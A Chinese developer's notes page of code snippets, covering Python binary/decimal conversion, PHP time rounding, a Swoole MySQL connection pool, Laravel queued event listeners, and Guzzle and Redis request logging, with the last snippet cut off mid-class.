<h3 id="进制转换"><a href="#进制转换" class="headerlink" title="进制转换"></a>进制转换</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"># 十进制转二进制的方法：除2取余，逆序排列, https://blog.csdn.net/shirley_sweet/article/details/73896279</span><br><span class="line">def change(n):</span><br><span class="line">    result = <span class="string">'0'</span></span><br><span class="line">    if n == 0:  # 输入为0的情况</span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        result = change(n <span class="comment">// 2)  # 调用自身</span></span><br><span class="line">        <span class="keyword">return</span> result + str(n % <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">def decimal_to_binary(decimal_val):</span><br><span class="line">    <span class="string">''</span><span class="string">'</span></span><br><span class="line"><span class="string">    十进制转为二进制</span></span><br><span class="line"><span class="string">    :param decimal_val:</span></span><br><span class="line"><span class="string">    :return:</span></span><br><span class="line"><span class="string">    '</span><span class="string">''</span></span><br><span class="line">    print(<span class="string">'transfer %d to binary'</span> % decimal_val)</span><br><span class="line">    recursion_result = change(decimal_val)</span><br><span class="line">    print(<span class="string">'递归实现转换结果：'</span>, recursion_result)</span><br><span class="line"></span><br><span class="line">def binary_to_decimal_func(val):</span><br><span class="line">    <span class="string">''</span><span class="string">'</span></span><br><span class="line"><span class="string">    按照定义来实现，即 2^n 的形式</span></span><br><span class="line"><span class="string">    :param val: str</span></span><br><span class="line"><span class="string">    :return:</span></span><br><span class="line"><span class="string">    '</span><span class="string">''</span></span><br><span class="line">    print(<span class="string">'original val: '</span>, val)</span><br><span class="line">    numbers = len(val)</span><br><span class="line">    result = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> range(numbers):</span><br><span class="line">        result += int(val[i]) * pow(<span class="number">2</span>, numbers - i - <span class="number">1</span>)</span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def binary_to_decimal(val):</span><br><span class="line">    <span class="string">''</span><span class="string">'</span></span><br><span class="line"><span class="string">    二进制转十进制</span></span><br><span class="line"><span class="string">    :param val:</span></span><br><span class="line"><span class="string">    :return:</span></span><br><span class="line"><span class="string">    '</span><span class="string">''</span></span><br><span class="line">    decimal2 = binary_to_decimal_func(str(val))</span><br><span class="line">    print(<span class="string">'第二种转换二进制为十进制：'</span>, decimal2)</span><br></pre></td></tr></table></figure>
<h3 id="计算当前时间最近的-5-或-10-分钟"><a href="#计算当前时间最近的-5-或-10-分钟" class="headerlink" title="计算当前时间最近的 5 或 10 分钟"></a>计算当前时间最近的 5 或 10 分钟</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://ourcodeworld.com/articles/read/756/how-to-round-up-down-to-nearest-10-or-5-minutes-of-datetime-in-php</span></span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">roundToNearestMinuteInterval</span>(<span class="params">\DateTime $dateTime, $minuteInterval = <span class="number">10</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $dateTime-&gt;setTime(</span><br><span class="line">        $dateTime-&gt;format(<span class="string">'H'</span>),</span><br><span class="line">        round($dateTime-&gt;format(<span class="string">'i'</span>) / $minuteInterval) * $minuteInterval,</span><br><span class="line">        <span class="number">0</span></span><br><span class="line">    );</span><br><span class="line">&#125;</span><br><span class="line">$date = <span class="keyword">new</span> DateTime(<span class="string">"2018-06-27 20:37:00"</span>);</span><br><span class="line"></span><br><span class="line">$date = roundToNearestMinuteInterval($date);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Rounded from 37 minutes to 40</span></span><br><span class="line"><span class="comment">//  2018-06-27 20:40:00</span></span><br><span class="line">echo $date-&gt;format(<span class="string">"Y-m-d H:i:s"</span>);</span><br></pre></td></tr></table></figure>
<h3 id="基于-swoole-协程的-MySQL-连接池"><a href="#基于-swoole-协程的-MySQL-连接池" class="headerlink" title="基于 swoole 协程的 MySQL 连接池"></a>基于 swoole 协程的 MySQL 连接池</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"><span class="comment">// +----------------------------------------------------------------------</span></span><br><span class="line"><span class="comment">// | Created by PhpStorm</span></span><br><span class="line"><span class="comment">// +----------------------------------------------------------------------</span></span><br><span class="line"><span class="comment">// | Date: 19-1-4 上午9:42 https://laravel-china.org/articles/21979</span></span><br><span class="line"><span class="comment">// +----------------------------------------------------------------------</span></span><br><span class="line"><span class="comment">// | Author: woann &lt;304550409@qq.com&gt;</span></span><br><span class="line"><span class="comment">// +----------------------------------------------------------------------</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MysqlPool</span></span>&#123;</span><br><span class="line">    private $pool;      <span class="comment">//连接池容器</span></span><br><span class="line">    public <span class="keyword">static</span> $instance = <span class="literal">null</span>;  <span class="comment">//实例</span></span><br><span class="line">    private $config = [</span><br><span class="line">        <span class="string">'max_num'</span>   =&gt; <span class="number">100</span>,</span><br><span class="line">        <span class="string">'host'</span>      =&gt; <span class="string">'127.0.0.1'</span>,</span><br><span class="line">        <span class="string">'port'</span>      =&gt; <span class="number">3306</span>,</span><br><span class="line">        <span class="string">'user'</span>      =&gt; <span class="string">'user'</span>,</span><br><span class="line">        <span class="string">'password'</span>  =&gt; <span class="string">'password'</span>,</span><br><span class="line">        <span class="string">'database'</span>  =&gt; <span class="string">'dbname'</span>,</span><br><span class="line">    ];</span><br><span class="line">    <span class="comment">//防止手欠在外部实例化，将构造函数私有化</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @author woann&lt;304550409@qq.com&gt;</span></span><br><span class="line"><span class="comment">     * @des 初始化</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">init</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;pool = <span class="keyword">new</span> chan($<span class="keyword">this</span>-&gt;config[<span class="string">"max_num"</span>]);<span class="comment">//用channel来作为连接池容器</span></span><br><span class="line">        <span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; $<span class="keyword">this</span>-&gt;config[<span class="string">"max_num"</span>]; $i++) &#123;</span><br><span class="line">            $mysql = <span class="keyword">new</span> Swoole\Coroutine\MySQL();</span><br><span class="line">            $res = $mysql-&gt;connect([</span><br><span class="line">                <span class="string">'host'</span> =&gt; <span class="string">'127.0.0.1'</span>,</span><br><span class="line">                <span class="string">'port'</span> =&gt; <span class="number">3306</span>,</span><br><span class="line">                <span class="string">'user'</span> =&gt; <span class="string">'root'</span>,</span><br><span class="line">                <span class="string">'password'</span> =&gt; <span class="string">'wqg951122'</span>,</span><br><span class="line">                <span class="string">'database'</span> =&gt; <span class="string">'test'</span>,</span><br><span class="line">            ]);</span><br><span class="line">            <span class="keyword">if</span> ($res == <span class="literal">false</span>) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> RuntimeException(<span class="string">"failed to connect mysql server"</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;release($mysql);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @author woann&lt;304550409@qq.com&gt;</span></span><br><span class="line"><span class="comment">     * @return MysqlPool|null</span></span><br><span class="line"><span class="comment">     * @des 获取连接池实例</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">static</span> public <span class="function"><span class="keyword">function</span> <span class="title">getInstance</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (self::$instance == <span class="literal">null</span>) &#123;</span><br><span class="line">            $mysqlpool = <span class="keyword">new</span> MysqlPool();</span><br><span class="line">            $mysqlpool-&gt;init();</span><br><span class="line">            self::$instance = $mysqlpool;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> self::$instance;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @author woann&lt;304550409@qq.com&gt;</span></span><br><span class="line"><span class="comment">     * @return mixed</span></span><br><span class="line"><span class="comment">     * @des 获取链接</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">get</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;pool-&gt;pop();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @author woann&lt;304550409@qq.com&gt;</span></span><br><span class="line"><span class="comment">     * @param $mysql</span></span><br><span class="line"><span class="comment">     * @des 回收链接</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">release</span>(<span class="params">$mysql</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;pool-&gt;push($mysql);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line">require_once <span class="string">"MysqlPool.php"</span>;<span class="comment">//引入连接池类</span></span><br><span class="line"></span><br><span class="line">$server = <span class="keyword">new</span> Swoole\Http\Server(<span class="string">"127.0.0.1"</span>, <span class="number">9501</span>);<span class="comment">//创建httpserver</span></span><br><span class="line"></span><br><span class="line">$server-&gt;set([</span><br><span class="line">    <span class="string">'worker_num'</span> =&gt; <span class="number">1</span>,</span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line">$server-&gt;on(<span class="string">'Request'</span>, <span class="function"><span class="keyword">function</span>(<span class="params">$request, $response</span>) </span>&#123;</span><br><span class="line">    $pool = MysqlPool::getInstance();<span class="comment">//获取连接池实例</span></span><br><span class="line">    $conn = $pool-&gt;get();<span class="comment">//获取链接</span></span><br><span class="line">    $stmt = $conn-&gt;prepare(<span class="string">'SELECT * FROM usertb WHERE id = ?'</span>); <span class="comment">//预处理</span></span><br><span class="line">    <span class="keyword">if</span> ($stmt == <span class="literal">false</span>) &#123;</span><br><span class="line">        var_dump($conn-&gt;errno, $conn-&gt;error);</span><br><span class="line">    &#125;</span><br><span class="line">    $res = $stmt-&gt;execute(array(<span class="number">9988</span>));<span class="comment">//绑定参数 执行sql</span></span><br><span class="line">    $pool-&gt;release($conn);<span class="comment">//释放回收链接</span></span><br><span class="line">    $response-&gt;end(json_encode($res));<span class="comment">//将查询结果转成json格式输出到浏览器</span></span><br><span class="line">&#125;);</span><br><span class="line">$server-&gt;start();</span><br></pre></td></tr></table></figure>
<p><a href="https://laravel-china.org/articles/21938#a30e76" target="_blank" rel="noopener">Linux 笔记分享四：Shell 基础</a></p>
<p><a href="http://www.helpergarden.com/2017/10/redis%E6%89%B9%E9%87%8F%E5%88%A0%E9%99%A4key.html" target="_blank" rel="noopener">redis批量删除key</a></p>
<p><a href="https://mp.weixin.qq.com/s/Sn7V27O77moGCLOpFzEKqg" target="_blank" rel="noopener">程序员的数学笔记1–进制转换</a></p>
<h3 id="laravel-事件指定队列"><a href="#laravel-事件指定队列" class="headerlink" title="laravel 事件指定队列"></a>laravel 事件指定队列</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//laravel-china.org/articles/15338/laravel50-event-specifies-queue-names</span></span><br><span class="line">https:<span class="comment">//www.jiangxianli.com/?p=68</span></span><br><span class="line">protected $listen = [</span><br><span class="line">    <span class="string">'Shark\Events\Product\StockChangeEvent'</span> =&gt; [</span><br><span class="line">        <span class="string">'Shark\Listeners\Product\StockChangeListener'</span>,</span><br><span class="line">    ],</span><br><span class="line">    <span class="string">'Shark\Events\Product\ProductAddEvent'</span> =&gt; [</span><br><span class="line">        <span class="string">'Shark\Listeners\Product\ProductListener'</span>,</span><br><span class="line">        <span class="string">'Shark\Listeners\Product\ProductAddListener'</span>,</span><br><span class="line">    ],</span><br><span class="line">];</span><br><span class="line">Event::fire(<span class="keyword">new</span> StockChangeEvent(<span class="number">1</span>, <span class="number">1</span>));</span><br><span class="line"><span class="comment">//event(new StockChangeEvent(1, 1));</span></span><br><span class="line">namespace app\Handlers;</span><br><span class="line"></span><br><span class="line">use Illuminate\Queue\InteractsWithQueue;</span><br><span class="line">use Illuminate\Contracts\Queue\ShouldBeQueued;</span><br><span class="line">use app\UpdateUserMessageEvent;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UpdateUserMessageHandler</span> <span class="title">implements</span> <span class="title">ShouldBeQueued</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">    use InteractsWithQueue;</span><br><span class="line">    <span class="comment">// 将事件监听推送到指定队列执行</span></span><br><span class="line">    public $queue = <span class="string">'example'</span>;</span><br><span class="line">    <span class="comment">// 延时执行时间</span></span><br><span class="line">    public $delay = <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Create the event handler.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @return void</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * Handle the event.</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * @param  App\UpdateUserMessageEvent  $event</span></span><br><span class="line"><span class="comment">     * @return void</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params">UpdateUserMessageEvent $event</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $event-&gt;update();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">queue</span>(<span class="params">$queue, $job, $data</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">          dump($job, $data,$<span class="keyword">this</span>-&gt;queue,$<span class="keyword">this</span>-&gt;delay);<span class="comment">//Illuminate\Events\CallQueuedHandler@call</span></span><br><span class="line">            dump($data);</span><br><span class="line">            <span class="comment">/*</span></span><br><span class="line"><span class="comment">            array:3 [</span></span><br><span class="line"><span class="comment">  "class" =&gt; "app\Handlers\UpdateUserMessageHandler"</span></span><br><span class="line"><span class="comment">  "method" =&gt; "handle"</span></span><br><span class="line"><span class="comment">  "data" =&gt; "a:1:&#123;i:0;O:44:"app\UpdateUserMessageEvent":1:&#123;s:7:"@*@uids";a:2:&#123;i:0;s:4:"5656";i:1;s:4:"8888";&#125;&#125;&#125;"</span></span><br><span class="line"><span class="comment">]</span></span><br><span class="line"><span class="comment">*/</span> </span><br><span class="line">     dump($<span class="keyword">this</span>-&gt;queue,$<span class="keyword">this</span>-&gt;delay);<span class="comment">//example 5</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (isset($<span class="keyword">this</span>-&gt;queue, $<span class="keyword">this</span>-&gt;delay)) &#123;</span><br><span class="line">            <span class="keyword">return</span> $queue-&gt;laterOn($<span class="keyword">this</span>-&gt;queue, $<span class="keyword">this</span>-&gt;delay, $job, $data);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (isset($<span class="keyword">this</span>-&gt;queue)) &#123;</span><br><span class="line">            <span class="keyword">return</span> $queue-&gt;pushOn($<span class="keyword">this</span>-&gt;queue, $job, $data);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (isset($<span class="keyword">this</span>-&gt;delay)) &#123;</span><br><span class="line">            <span class="keyword">return</span> $queue-&gt;later($<span class="keyword">this</span>-&gt;delay, $job, $data);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $queue-&gt;push($job, $data);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="记录guzzle"><a href="#记录guzzle" class="headerlink" title="记录guzzle"></a>记录guzzle</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">namespace App\Services;</span><br><span class="line"></span><br><span class="line">use Illuminate\Http\Request;</span><br><span class="line">use GuzzleHttp\Event\EmitterInterface;</span><br><span class="line">use GuzzleHttp\Event\BeforeEvent;</span><br><span class="line">use GuzzleHttp\Event\CompleteEvent;</span><br><span class="line">use GuzzleHttp\Event\EndEvent;</span><br><span class="line">use GuzzleHttp\Event\Emitter;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GuzzleEmitter</span> <span class="keyword">extends</span> <span class="title">Emitter</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$rs_info = <span class="string">'api_time'</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $start = <span class="number">0</span>;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;on(<span class="string">'before'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">BeforeEvent $event, $name</span>) <span class="title">use</span>(<span class="params">&amp;$start, $rs_info</span>)</span>&#123;</span><br><span class="line">            $start = microtime(<span class="literal">true</span>);</span><br><span class="line">        &#125;);</span><br><span class="line">        $<span class="keyword">this</span>-&gt;on(<span class="string">'end'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">EndEvent $event</span>) <span class="title">use</span>(<span class="params">&amp;$start, $rs_info</span>)</span>&#123;</span><br><span class="line">            <span class="keyword">if</span> ($event-&gt;getException()) &#123;</span><br><span class="line">                $<span class="keyword">this</span>-&gt;sysLog([<span class="string">'rs'</span> =&gt; $event-&gt;gettransferInfo()[<span class="string">'url'</span>], <span class="string">'cmd'</span> =&gt; $event-&gt;getRequest()-&gt;getmethod(), <span class="string">'code'</span> =&gt; $event-&gt;gettransferInfo()[<span class="string">'http_code'</span>], <span class="string">'rs_info'</span> =&gt; $rs_info, <span class="string">'rs_type'</span> =&gt; <span class="number">1</span>, <span class="string">'t_total'</span> =&gt; intval((microtime(<span class="literal">true</span>)-$start)*<span class="number">1000</span>), <span class="string">'p_ip'</span> =&gt; $event-&gt;gettransferInfo()[<span class="string">'primary_ip'</span>], <span class="string">'msg'</span> =&gt; $event-&gt;getException()-&gt;getMessage()]);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                $method=$event-&gt;getRequest()-&gt;getmethod();</span><br><span class="line">                $post_data=($method==<span class="string">'POST'</span>)?((string)$event-&gt;getRequest()-&gt;getBody()):<span class="string">''</span>;</span><br><span class="line">                $<span class="keyword">this</span>-&gt;sysLog([</span><br><span class="line">                    <span class="string">'rs'</span> =&gt; $event-&gt;gettransferInfo()[<span class="string">'url'</span>],</span><br><span class="line">                    <span class="string">'cmd'</span> =&gt; $method,</span><br><span class="line">                    <span class="string">'code'</span> =&gt; $event-&gt;gettransferInfo()[<span class="string">'http_code'</span>],</span><br><span class="line">                    <span class="string">'rs_info'</span> =&gt; $rs_info,</span><br><span class="line">                    <span class="string">'rs_type'</span> =&gt; <span class="number">1</span>,</span><br><span class="line">                    <span class="string">'t_total'</span> =&gt; intval((microtime(<span class="literal">true</span>)-$start)*<span class="number">1000</span>),</span><br><span class="line">                    <span class="string">'p_ip'</span> =&gt; $event-&gt;gettransferInfo()[<span class="string">'primary_ip'</span>],</span><br><span class="line">                    <span class="string">'rs_content'</span>=&gt;$post_data,</span><br><span class="line">                ]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">sysLog</span>(<span class="params">$data</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        openlog(<span class="string">'guzzle'</span>,LOG_PID|LOG_ODELAY,LOG_LOCAL7);</span><br><span class="line">                syslog(LOG_INFO,json_encode($data));</span><br><span class="line">                closelog();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="记录Redis"><a href="#记录Redis" class="headerlink" title="记录Redis"></a>记录Redis</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"><span class="comment">//基于predis</span></span><br><span class="line">namespace App\Services;</span><br><span class="line"></span><br><span class="line">use \Predis\Command\CommandInterface;</span><br><span class="line">use \Predis\Connection\StreamConnection;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RedisLog</span> <span class="keyword">extends</span> <span class="title">StreamConnection</span></span></span><br><span class="line"><span 